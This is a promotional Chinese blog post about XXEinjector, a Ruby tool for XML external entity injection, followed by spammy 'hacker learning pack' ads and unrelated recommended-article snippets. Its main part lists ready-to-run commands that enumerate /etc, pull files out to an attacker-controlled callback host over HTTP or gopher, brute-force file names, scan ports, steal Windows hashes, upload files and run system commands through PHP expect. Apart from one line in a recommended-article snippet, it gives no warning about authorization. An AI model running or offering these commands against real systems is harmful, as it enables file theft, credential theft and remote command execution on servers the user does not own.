XXEinjector:一款功能强大的自动化XXE注射工具从零基础到精通,收藏这篇就够了!

靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用 靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用。 阅读详情

还在手动构造 XXE 注入 payload?OUT 啦!今天给大家安利一款 自动化 XXE 注入神器 XXEinjector,让你轻松驾驭 XXE 漏洞,成为网络安全界的弄潮儿!

XXEinjector 是一款基于 Ruby 开发的 XXE 注入工具,它支持多种直接或间接的带外 (OOB) 方法来提取文件。不过要注意,目录枚举功能目前只对 Java 应用有效,而暴力破解攻击则可能需要与其他应用配合使用,才能发挥最大威力。

XXEinjector:启动你的 XXE 漏洞挖掘之旅

想玩转 XXEinjector?首先要做的就是熟悉它的各种操作选项。毕竟,工欲善其事,必先利其器嘛!在使用它进行渗透测试之前,务必仔细阅读官方文档,了解每个配置选项的作用,才能最大限度地发挥它的威力。当然,作为 Ruby 家族的一员,你需要先安装 Ruby 运行环境。

--host     必填项 – 用于建立反向链接的 IP 地址。举个栗子: (--host=192.168.0.2)

实战演练:XXEinjector 使用场景大揭秘

接下来,让我们通过几个实际的例子,来看看 XXEinjector 在实战中是如何大显身手的。

案例一:枚举 HTTPS 应用中的 /etc 目录

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

这条命令指示 XXEinjector 去枚举 HTTPS 应用中的 /etc 目录,并将结果保存到 /tmp/req.txt 文件中。

案例二:使用 Gopher 协议进行 OOB 枚举

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

这条命令与上一个类似,但使用了 Gopher 协议进行带外 (OOB) 数据传输。

案例三:二次漏洞利用

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt

这个命令展示了如何进行二次漏洞利用,其中 --2ndfile 参数指定了第二个请求文件。

案例四:HTTP OOB + Netdoc 协议爆破攻击

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

这条命令使用 HTTP 带外方法和 Netdoc 协议,对指定的文件名列表进行爆破攻击。

案例五:直接性漏洞利用进行资源枚举

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

这个命令展示了如何通过直接性漏洞利用方式进行资源枚举,--direct 参数用于指定唯一的标记。

案例六:枚举未过滤的端口

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

使用这个命令,你可以让 XXEinjector 尝试枚举目标主机上所有未被过滤的端口。

案例七:窃取 Windows 哈希

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

这条命令尝试窃取目标 Windows 系统的哈希值,方便后续的渗透测试。

案例八:Java Jar 文件上传

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

通过这个命令,你可以利用 XXE 漏洞上传 Java Jar 文件到目标服务器。

案例九:PHP Expect 执行系统指令

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

这条命令利用 PHP expect 模块执行系统指令,例如这里的 ls 命令。

案例十:XSLT 注入测试

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

这个命令用于测试目标系统是否存在 XSLT 注入漏洞。

案例十一:记录请求信息

ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

使用这个命令,你可以记录 XXEinjector 发送的请求信息,方便后续的分析和调试。

XXEinjector 下载传送门:

https://github.com/enjoiz/XXEinjector/archive/master.zip

还在等什么?赶快下载 XXEinjector,开启你的 XXE 漏洞挖掘之旅吧!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

HTTP INJECTOR PRO:HTTP服务器,标头替换器,代理服务器-开源 /////// v1.8 XTended最终版本上的新功能:///////// 1.重置设置2.将当前皮肤保存到配置文件中。3.添加4个新皮肤(Garnet II(默认),黑匣子,冷色,深紫色,Ubuntu,矩阵)4.单选按钮外观更改器5.过滤器响应6.查询模式7. XTended模式-放置正面/背面-代码-标记单个标记/双标记-添加页眉8.禁用NetData 9.结束行OFF模式10. 4自定义标题(CH 1,CH 2,CH 3,CH 4)11.用户代理Spoofer-禁用-Chrome 32.0.1667.0(Win 8-64位)-Firefox 25.0(Win 7) 64)-Opera 10.61 Mini 5.1(J2ME / MIDP)-Android 0.5-Safari 419 12.转发代理-OFF-前Fprward-后退-方法-代理Host:port-HTTP版本13.自定义Bitvise执行(BcvSsh.exe)请参阅此处的完整文档:http://www.uploadhosting.co/uploads/195.154.8.92/change-log.txt 立即下载

相关推荐

XXEinjector.zip

XXEinjector 一款XXE注入测试工具,可以通过命令行快速检测可能存在的XXE漏洞!

网络安全课第五节 XXE 漏洞的检测与防御

上一讲我们介绍了 SSRF 漏洞,一种专门针对服务端的请求伪造攻击,常被用于攻击内网。在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞的功能,在本讲的 XXE 漏洞测试中,我们依然可以使用,不知道你是否还记得怎么使用?下面,我们就开始今天的课程,一场关于 XML 外部实体注入(XXE)漏洞的攻防之路。XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。PHP

fegus的博客 2121

机器学习——先验概率、后验概率、全概率公式、贝叶斯公式

先验概率(prior probability)是指根据以往经验和分析得到的概率,如全概率公式,它往往作为"由因求果"问题中的"因"出现的概率。后验概率是指在得到“结果”的信息后重新修正的概率,是“执果寻因”问题中的"果"。贝叶斯公式就是当已知结果,问导致这个结果的第 i 原因的可能性是多少。

fortune_cookie的博客 1万+

XXE工具——XXEinjection安装与使用

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE工具——XXEinjection安装与使用。 一、XXEinjection工具介绍 二、Ruby环境安装 三、XXEinjection常用参数说明 四、XXEinjection使用示例

永远是少年 2286

马尔可夫网络和贝叶斯网络的一些总结

马尔可夫网络和贝叶斯网络的一些总结 最近学习了一些关于概率逻辑的知识图谱推理方法,主要就是贝叶斯网络和马尔可夫网络,在此总结一下,内容都来自网络资料,这里加入了一下个人的理解,尽量为大家避雷! 这篇文章是我目前在网络上找到的关于贝叶斯网络最清晰的介绍,大家有兴趣可以去看看 贝叶斯网络中比较重要的两部分就是贝叶斯网络的结构和条件概率表。 贝叶斯网络的结构 下面通过一个例子来介绍: 贝叶斯网的网络结...

qq_43654303的博客 4375

Element-UI全面入门与实战技巧

Element-UI 是一套基于 Vue 2.0 的桌面端组件库,由饿了么前端团队开发并维护。它提供了一系列丰富的 UI 组件,旨在帮助开发者快速构建高效、美观的 Vue 应用程序。Element-UI 是一款遵循 Ant Design 设计规范的 Vue UI 库,它涵盖了从按钮、输入框、选择器到表格、标签、进度条等众多常用的界面元素。Element-UI 的组件不仅功能全面,而且易于定制,使得开发者可以快速实现个性化的页面设计。Element-UI 的特点包括:在使用 Element-UI 之前,需要确

全世界的博客 2864

Xxe外部实体注入(XML External Entity Injection)

无回显的xxe怎么利用 (1)使用dnslog平台进行数据外带 (2)构造远程dtd文件造成文件外泄 Xxe详细防御方法 禁用外部实体 这是防范最为严格的手段,从前面的学习我们已经知道XXE的全部利用手段基础都来源于外部实体的注入, 也就是如果禁用了外部实体,那么XXE的所有攻击手段都将失效,无法再正常利用。 代码层禁用 PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuil

xuyunpeng3189的博客 1410

【任何电机可使用的七段式s曲线-----包括matlab代码和simulink仿真】

S形加加速(T1)→>匀加速(T2)→减加速(T3)→>匀速(T4 )>加减速(T5)>匀减速(T6)-→>减减速(T7)

weixin_44312889的博客 6311

XEinjector:一款功能强大的自动化XXE注射工具,从零级基础到精通,收藏这篇就够了!

XXEinjector 是一款功能强大的 XXE 注入工具,可以帮助安全研究人员和渗透测试人员快速发现和利用 XXE 漏洞。但是,请务必在授权的情况下使用该工具,切勿用于非法用途!

韩束一叶子 930

采样率转化代码C++(有理倍数,升采样、降采样均可)

【代码】采样率转化(有理倍数,升采样、降采样均可)

goudahai的专栏 547

Python 爬虫实战:赛事分析平台构建与比赛数据抓取

在体育赛事日益丰富的今天,对比赛数据的收集与分析对于运动员、教练团队以及体育爱好者都具有重要意义。通过构建一个赛事分析平台,我们可以系统地抓取、整理和展示各类比赛数据,为用户提供全面的赛事洞察。本文将深入讲解如何利用 Python 爬虫技术实现这一平台的构建,涵盖从目标网站分析到数据可视化展示的全过程。

u014481728的博客 3184

XXEinjector:一款功能强大的自动化XXE注射工具从零基础到精通,收藏这篇就够了!_injetor

还在手动构造 XXE 注入 payload?OUT 啦!今天给大家安利一款,让你轻松驾驭 XXE 漏洞,成为网络安全界的弄潮儿!XXEinjector 是一款基于 Ruby 开发的 XXE 注入工具,它支持多种直接或间接的带外 (OOB) 方法来提取文件。不过要注意,目录枚举功能目前只对 Java 应用有效,而暴力破解攻击则可能需要与其他应用配合使用,才能发挥最大威力。

yy1715713348的博客 678

AUTOSAR TcpIp模块 以太网配置开发2

someip协议之tcpIp协议

汽车电子电气 1085

7.XXEinjector:一款功能强大的自动化XXE注射工具

今天给大家介绍的是一款名叫XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具, 它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解 攻击需要使用到其他应用程序。 XXEinjector注入工具的使用 XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透...

weixin_30492047的博客 736

2025年“区块链技术”职业院校技能大赛赛后复盘与总结(必看)

记录一次2025年“区块链技术”职业院校技能大赛的参加经验总结与赛后复盘

我是网络安全兼技能大赛工程师,专注网络安全技术学习与技能大赛实战!持续分享最新的技术文章,帮你少走弯路,一起在技术赛道上进步~ 1994

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

XXEinjector:一款功能强大的自动化XXE注射工具

XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。

dzqxwzoe的博客 521

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

Jay17的博客 4263

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

ctfshow—XXE

XXE XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。 XXE可导致读取任意文件,探测内网端口,攻击内网网站,发起拒绝服务攻击,执行系统命令等。Java中的XXE支持sun.net.www.p

cosmoslin的博客 1272
上一篇: Linux提权漏洞CVE-2025-27591,从零基础到精通,收藏这篇就够了!
下一篇: ADCS-ESC3漏洞环境构造与利用,从零基础到精通,收藏这篇就够了!
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值